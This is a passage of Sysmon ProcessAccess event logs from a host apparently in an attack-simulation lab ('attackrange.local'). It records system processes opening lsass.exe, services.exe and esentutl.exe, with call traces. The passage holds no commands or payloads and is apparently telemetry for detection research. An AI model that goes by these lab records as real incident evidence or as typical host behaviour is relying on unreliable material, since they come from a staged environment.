11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-001032600800}\r\nTargetProcessId: 808\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-001032600800}","TargetProcessId":"808","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-001032600800}\r\nTargetProcessId: 808\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-001032600800}","TargetProcessId":"808","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-001032600800}\r\nTargetProcessId: 808\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-001032600800}","TargetProcessId":"808","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.431\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-001032600800}\r\nTargetProcessId: 808\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.431","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-001032600800}","TargetProcessId":"808","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 